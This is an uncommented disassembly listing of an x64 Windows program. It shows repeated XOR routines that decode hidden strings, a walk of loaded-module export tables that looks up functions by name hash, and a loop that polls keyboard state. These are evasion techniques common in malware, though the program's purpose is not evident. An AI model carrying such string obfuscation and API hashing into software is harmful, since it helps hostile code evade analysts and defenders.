xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x20
jl 0x140077b70
cmp r8d, 0x23
jge 0x140077ca0
movsxd r9, r8d
add r9, r10
nop word [rax + rax]
mov eax, 0x5397829d
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x31
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x23
jl 0x140077c70
mov rdx, r10
lea rcx, [0x140662020]
call fcn.14001cf60
lea rdx, [fcn.140034d80]
mov rcx, rax
call fcn.140034d00
mov byte [rsp + 0x10d0], 0
lea rdx, [rsp + 0xf0]
lea rcx, [rsp + 0x10d0]
call fcn.140079a70
mov r10, rax
cmp byte [rax + 0x13], 0
je 0x140077e40
mov r8d, r14d
cmp r15d, 2
jl 0x140077e01
movdqa xmmword [rsp + 0x70], xmm13
mov rcx, rax
mov edx, dword [rsp + 0x70]
nop dword [rax]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm10
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm9
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm9
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm2, xmm0
andps xmm2, xmm15
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm10
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm9
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm9
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm3, xmm0
andps xmm3, xmm15
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x140077d10
cmp r8d, 0x14
jge 0x140077e40
movsxd r9, r8d
add r9, r10
nop word [rax + rax]
mov eax, 0x5397829d
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x31
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x14
jl 0x140077e10
mov rdx, r10
lea rcx, [0x140662020]
call fcn.14001cf60
lea rdx, [fcn.140034d80]
mov rcx, rax
call fcn.140034d00
call fcn.140070310
mov byte [rsp + 0x10d0], 0
lea rdx, [rsp + 0x300]
lea rcx, [rsp + 0x10d0]
call fcn.140079a90
mov r10, rax
cmp byte [rax + 0x1f], 0
je 0x140077fe0
cmp r15d, 2
jl 0x140077f9b
mov edx, r14d
movdqa xmmword [rsp + 0x70], xmm13
mov rcx, rax
mov r8d, dword [rsp + 0x70]
nop dword [rax]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm10
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm9
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm9
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm2, xmm0
andps xmm2, xmm15
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [rdx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm10
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm9
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm9
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm3, xmm0
andps xmm3, xmm15
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, r8d
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x20
jl 0x140077eb0
jmp 0x140077fe0
mov r9, r10
mov r8d, r14d
nop dword [rax]
nop word [rax + rax]
mov eax, 0x5397829d
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x31
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x20
jl 0x140077fb0
mov rdx, r10
lea rcx, [0x140662020]
call fcn.14001cf60
lea rdx, [fcn.140034d80]
mov rcx, rax
call fcn.140034d00
call fcn.140034250
mov byte [rsp + 0x10d0], 0
lea rdx, [rsp + 0xf0]
lea rcx, [rsp + 0x10d0]
call fcn.140079ab0
mov r10, rax
cmp byte [rax + 0x1b], 0
je 0x140078180
mov r8d, r14d
cmp r15d, 2
jl 0x140078141
movdqa xmmword [rsp + 0x70], xmm13
mov rcx, rax
mov edx, dword [rsp + 0x70]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm10
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm9
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm9
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm2, xmm0
andps xmm2, xmm15
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm10
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm9
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm9
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm3, xmm0
andps xmm3, xmm15
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x18
jl 0x140078050
cmp r8d, 0x1c
jge 0x140078180
movsxd r9, r8d
add r9, r10
nop word [rax + rax]
mov eax, 0x5397829d
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x31
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1c
jl 0x140078150
mov rdx, r10
lea rcx, [0x140662020]
call fcn.14001cf60
lea rdx, [fcn.140034d80]
mov rcx, rax
call fcn.140034d00
call fcn.140034140
mov byte [rsp + 0x10d0], 0
lea rdx, [rsp + 0xf0]
lea rcx, [rsp + 0x10d0]
call fcn.140079ae0
mov r10, rax
cmp byte [rax + 0x1a], 0
je 0x140078320
mov r8d, r14d
cmp r15d, 2
jl 0x1400782e1
movdqa xmmword [rsp + 0x70], xmm13
mov rcx, rax
mov edx, dword [rsp + 0x70]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm10
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm9
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm9
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm2, xmm0
andps xmm2, xmm15
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm10
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm9
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm9
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm3, xmm0
andps xmm3, xmm15
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x18
jl 0x1400781f0
cmp r8d, 0x1b
jge 0x140078320
movsxd r9, r8d
add r9, r10
nop word [rax + rax]
mov eax, 0x5397829d
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x31
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1b
jl 0x1400782f0
mov rdx, r10
lea rcx, [0x140662020]
call fcn.14001cf60
lea rdx, [fcn.140034d80]
mov rcx, rax
call fcn.140034d00
mov byte [rsp + 0x10d0], 0
lea rdx, [rsp + 0xea0]
lea rcx, [rsp + 0x10d0]
call fcn.140079b10
mov byte [rsp + 0x10d0], 0
lea rdx, [rsp + 0xd50]
lea rcx, [rsp + 0x10d0]
call fcn.140079bc0
mov byte [rsp + 0x10d0], 0
lea rdx, [rsp + 0xc00]
lea rcx, [rsp + 0x10d0]
call fcn.140079c70
mov byte [rsp + 0x10d0], 0
lea rdx, [rsp + 0xab0]
lea rcx, [rsp + 0x10d0]
call fcn.140079d20
lea rcx, [rsp + 0x10d8]
call fcn.1400053e0
mov rbx, rax
cmp word [rsp + 0xfe4], 0
je 0x140078537
mov r8d, r14d
cmp r15d, 2
jl 0x1400784ed
lea rcx, [rsp + 0xea0]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm10
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm9
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm9
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm2, xmm0
pshufhw xmm0, xmm2, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm6
paddw xmm3, xmm2
movq xmm0, qword [rcx]
xorps xmm3, xmm0
movq qword [rcx], xmm3
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm10
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm9
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm9
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm2, xmm0
pshufhw xmm0, xmm2, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm6
paddw xmm3, xmm2
movq xmm0, qword [rcx + 8]
xorps xmm3, xmm0
movq qword [rcx + 8], xmm3
add r8d, 8
lea rcx, [rcx + 0x10]
cmp r8d, 0xa0
jl 0x1400783f0
cmp r8d, 0xa3
jge 0x140078537
movsxd rax, r8d
lea r9, [rsp + 0xea0]
lea r9, [r9 + rax*2]
nop dword [rax]
mov eax, 0x5397829d
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul ecx, eax, 0x31
movzx eax, r8w
sub ax, cx
add ax, 0x38
xor word [r9], ax
inc r8d
lea r9, [r9 + 2]
cmp r8d, 0xa3
jl 0x140078500
lea rdx, [rsp + 0xea0]
lea rcx, [rsp + 0x500]
call fcn.140061cc0
nop
cmp word [rsp + 0xe94], 0
je 0x1400786b7
mov r8d, r14d
cmp r15d, 2
jl 0x14007866e
lea rcx, [rsp + 0xd50]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm10
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm9
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm9
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm2, xmm0
pshufhw xmm0, xmm2, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm6
paddw xmm3, xmm2
movq xmm0, qword [rcx]
xorps xmm3, xmm0
movq qword [rcx], xmm3
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm10
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm9
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm9
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm2, xmm0
pshufhw xmm0, xmm2, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm6
paddw xmm3, xmm2
movq xmm0, qword [rcx + 8]
xorps xmm3, xmm0
movq qword [rcx + 8], xmm3
add r8d, 8
lea rcx, [rcx + 0x10]
cmp r8d, 0xa0
jl 0x140078571
cmp r8d, 0xa3
jge 0x1400786b7
movsxd rax, r8d
lea r9, [rsp + 0xd50]
lea r9, [r9 + rax*2]
nop dword [rax]
mov eax, 0x5397829d
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul ecx, eax, 0x31
movzx eax, r8w
sub ax, cx
add ax, 0x38
xor word [r9], ax
inc r8d
lea r9, [r9 + 2]
cmp r8d, 0xa3
jl 0x140078680
lea rdx, [rsp + 0xd50]
lea rcx, [rsp + 0x520]
call fcn.140061cc0
nop
cmp word [rsp + 0xd44], 0
je 0x140078837
mov r8d, r14d
cmp r15d, 2
jl 0x1400787ee
lea rcx, [rsp + 0xc00]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm10
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm9
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm9
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm2, xmm0
pshufhw xmm0, xmm2, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm6
paddw xmm3, xmm2
movq xmm0, qword [rcx]
xorps xmm3, xmm0
movq qword [rcx], xmm3
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm10
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm9
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm9
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm2, xmm0
pshufhw xmm0, xmm2, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm6
paddw xmm3, xmm2
movq xmm0, qword [rcx + 8]
xorps xmm3, xmm0
movq qword [rcx + 8], xmm3
add r8d, 8
lea rcx, [rcx + 0x10]
cmp r8d, 0xa0
jl 0x1400786f1
cmp r8d, 0xa3
jge 0x140078837
movsxd rax, r8d
lea r9, [rsp + 0xc00]
lea r9, [r9 + rax*2]
nop dword [rax]
mov eax, 0x5397829d
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul ecx, eax, 0x31
movzx eax, r8w
sub ax, cx
add ax, 0x38
xor word [r9], ax
inc r8d
lea r9, [r9 + 2]
cmp r8d, 0xa3
jl 0x140078800
lea rdx, [rsp + 0xc00]
lea rcx, [rsp + 0x540]
call fcn.140061cc0
nop
cmp word [rsp + 0xbf4], 0
je 0x1400789b7
mov r8d, r14d
cmp r15d, 2
jl 0x14007896e
lea rcx, [rsp + 0xab0]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm10
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm9
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm9
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm2, xmm0
pshufhw xmm0, xmm2, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm6
paddw xmm3, xmm2
movq xmm0, qword [rcx]
xorps xmm3, xmm0
movq qword [rcx], xmm3
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm10
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm9
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm9
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm2, xmm0
pshufhw xmm0, xmm2, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm6
paddw xmm3, xmm2
movq xmm0, qword [rcx + 8]
xorps xmm3, xmm0
movq qword [rcx + 8], xmm3
add r8d, 8
lea rcx, [rcx + 0x10]
cmp r8d, 0xa0
jl 0x140078871
cmp r8d, 0xa3
jge 0x1400789b7
movsxd rax, r8d
lea r9, [rsp + 0xab0]
lea r9, [r9 + rax*2]
nop dword [rax]
mov eax, 0x5397829d
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul ecx, eax, 0x31
movzx eax, r8w
sub ax, cx
add ax, 0x38
xor word [r9], ax
inc r8d
lea r9, [r9 + 2]
cmp r8d, 0xa3
jl 0x140078980
lea rdx, [rsp + 0xab0]
lea rcx, [rsp + 0x560]
call fcn.140061cc0
nop
lea r8, [rsp + 0x580]
lea rdx, [rsp + 0x500]
lea rcx, [rsp + 0xf0]
call fcn.14002c1e0
movups xmm0, xmmword [rax]
movaps xmmword [rsp + 0x1f0], xmm0
mov r8, rbx
lea rdx, [rsp + 0x1f0]
lea rcx, [rsp + 0x1b0]
call fcn.14007a330
nop
lea r9, [fcn.140061ca0]
mov edx, 0x20
mov r8d, 4
lea rcx, [rsp + 0x500]
call fcn.14015d61c
lea rcx, [rsp + 0x130]
call fcn.14002fa00
nop
lea rcx, [rsp + 0x1b0]
call fcn.14007a300
mov rdx, rax
lea rcx, [rsp + 0x130]
call fcn.14007a7a0
lea rcx, [rsp + 0x1b0]
call fcn.140006fa0
mov rsi, rax
lea rcx, [rsp + 0x1b0]
call fcn.14007a310
mov r13, rax
cmp rsi, rax
je 0x140078af1
nop dword [rax]
lea rcx, [rsp + 0x10d0]
call fcn.1400053e0
mov rdi, rax
lea rdx, [rsp + 0x10d8]
mov rcx, rsi
call fcn.1400247e0
mov rbx, qword [rax]
lea rdx, [rsp + 0x2f0]
mov rcx, rsi
call fcn.140024800
mov r9, rdi
mov r8, rbx
mov rdx, qword [rax]
lea rcx, [rsp + 0x300]
call fcn.140027590
nop
mov rdx, rax
lea rcx, [rsp + 0x130]
call fcn.14007a7e0
nop
lea rcx, [rsp + 0x300]
call fcn.1400073c0
add rsi, 0x20
cmp rsi, r13
jne 0x140078a80
call fcn.140006950
lea rcx, [rsp + 0xa8]
call fcn.14002fa00
nop
lea rcx, [rsp + 0x130]
call fcn.140006fa0
mov rbx, rax
lea rcx, [rsp + 0x130]
call fcn.14007a310
mov rdi, rax
cmp rbx, rax
je 0x140078bcc
nop dword [rax]
mov rdx, rbx
lea rcx, [rsp + 0x148]
call fcn.140070040
nop
lea rcx, [rsp + 0x148]
call fcn.140026bd0
test al, al
jne 0x140078de1
lea rcx, [rsp + 0xf0]
call fcn.14002fa00
nop
lea rdx, [rsp + 0xf0]
lea rcx, [rsp + 0x148]
call fcn.140006660
lea rcx, [rsp + 0xf0]
call fcn.140026bd0
test al, al
jne 0x140078dd3
lea rdx, [rsp + 0xf0]
lea rcx, [rsp + 0xa8]
call fcn.14007a550
nop
lea rcx, [rsp + 0xf0]
call fcn.1400299a0
nop
lea rcx, [rsp + 0x148]
call fcn.1400299a0
add rbx, 0x20
cmp rbx, rdi
jne 0x140078b30
lea rcx, [rsp + 0x638]
call fcn.14002fa00
nop
lea rdx, [rsp + 0x638]
lea rcx, [rsp + 0xa8]
call fcn.140070af0
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
mov r9, qword [rax + 0x30]
movsxd rcx, dword [r9 + 0x3c]
mov r11d, dword [rcx + r9 + 0x88]
add r11, r9
cmp r11, r9
je 0x14007938f
mov r10d, dword [r11 + 0x18]
test r10d, r10d
je 0x14007938f
mov ebx, dword [r11 + 0x20]
nop dword [rax]
dec r10d
lea rdx, [rbx + r10*4]
mov r8d, dword [rdx + r9]
add r8, r9
mov edx, 0x5de4537b
movzx ecx, byte [r8]
inc r8
test cl, cl
je 0x140079386
nop dword [rax]
nop word [rax + rax]
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
movzx ecx, byte [r8]
lea r8, [r8 + 1]
test cl, cl
jne 0x140078c60
cmp edx, 0x644c16de
jne 0x140079386
mov ecx, dword [r11 + 0x24]
add rcx, r9
movzx edx, word [rcx + r10*2]
mov ecx, dword [r11 + 0x1c]
add rcx, r9
mov eax, dword [rcx + rdx*4]
add rax, r9
mov ecx, 0x3e8
call rax
mov byte [rsp + 0x10d0], 0
lea rdx, [rsp + 0x500]
lea rcx, [rsp + 0x10d0]
call fcn.140079dd0
mov r8, rax
cmp word [rax + 0x9e], 0
je 0x140078e64
cmp r15d, 2
jl 0x140078e1d
mov edx, r14d
mov rcx, rax
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm10
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm9
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm9
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm2, xmm0
pshufhw xmm0, xmm2, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm6
paddw xmm3, xmm2
movq xmm0, qword [rcx]
xorps xmm3, xmm0
movq qword [rcx], xmm3
lea eax, [rdx + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm10
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm9
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm9
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm2, xmm0
pshufhw xmm0, xmm2, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm6
paddw xmm3, xmm2
movq xmm0, qword [rcx + 8]
xorps xmm3, xmm0
movq qword [rcx + 8], xmm3
add edx, 8
lea rcx, [rcx + 0x10]
cmp edx, 0x50
jl 0x140078ce1
jmp 0x140078e64
lea rcx, [rsp + 0xf0]
call fcn.1400299a0
nop
lea rcx, [rsp + 0x148]
call fcn.1400299a0
nop
lea rcx, [rsp + 0xa8]
call fcn.14007a590
nop
lea rcx, [rsp + 0x130]
call fcn.14000a1f0
nop
lea rcx, [rsp + 0x1b0]
call fcn.14007a320
jmp 0x14007183b
mov r10, r8
mov r9d, r14d
nop dword [rax]
nop word [rax + rax]
mov eax, 0x5397829d
imul r9d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul ecx, eax, 0x31
movzx eax, r9w
sub ax, cx
add ax, 0x38
xor word [r10], ax
inc r9d
lea r10, [r10 + 2]
cmp r9d, 0x50
jl 0x140078e30
mov rdx, r8
lea rcx, [rsp + 0xd0]
call fcn.140061cc0
nop
lea rdx, [rsp + 0xd0]
mov ecx, 2
call fcn.140022a20
nop
lea rcx, [rsp + 0xd0]
call fcn.140061ca0
mov byte [rsp + 0x10d0], 0
lea rdx, [rsp + 0x500]
lea rcx, [rsp + 0x10d0]
call fcn.140079e40
mov r8, rax
cmp byte [rax + 0x2f], 0
je 0x140079010
cmp r15d, 2
jl 0x140078fcd
mov edx, r14d
movdqa xmmword [rsp + 0x70], xmm13
mov rcx, rax
nop word [rax + rax]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm10
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm9
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm9
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm2, xmm0
andps xmm2, xmm15
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, dword [rsp + 0x70]
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [rdx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm10
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm9
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm9
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm3, xmm0
andps xmm3, xmm15
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, dword [rsp + 0x70]
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x30
jl 0x140078ee0
jmp 0x140079010
mov r10, r8
mov r9d, r14d
nop dword [rax]
nop word [rax + rax]
mov eax, 0x5397829d
imul r9d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x31
movzx eax, r9b
sub al, cl
add al, 0x38
xor byte [r10], al
inc r9d
lea r10, [r10 + 1]
cmp r9d, 0x30
jl 0x140078fe0
mov rdx, r8
lea rcx, [0x140662020]
call fcn.14001cf60
lea rdx, [fcn.140034d80]
mov rcx, rax
call fcn.140034d00
mov ecx, WSAStartup
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
test ax, ax
jne 0x14007905b
nop
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, WSAStartup
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
test ax, ax
je 0x140079040
mov rcx, r12
call fcn.14015d5ac
mov qword [rsp + 0x10d0], rax
mov rcx, rax
call fcn.1400053e0
mov rbx, rax
mov byte [rsp + 0x10d0], 0
lea rdx, [rsp + 0xf0]
lea rcx, [rsp + 0x10d0]
call fcn.140079e70
mov r9, rax
cmp byte [rax + 0x1b], 0
je 0x1400791f0
mov r8d, r14d
cmp r15d, 2
jl 0x1400791b5
movdqa xmmword [rsp + 0x70], xmm13
mov rcx, rax
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm10
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm9
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm9
shufps xmm1, xmm0, 0xdd
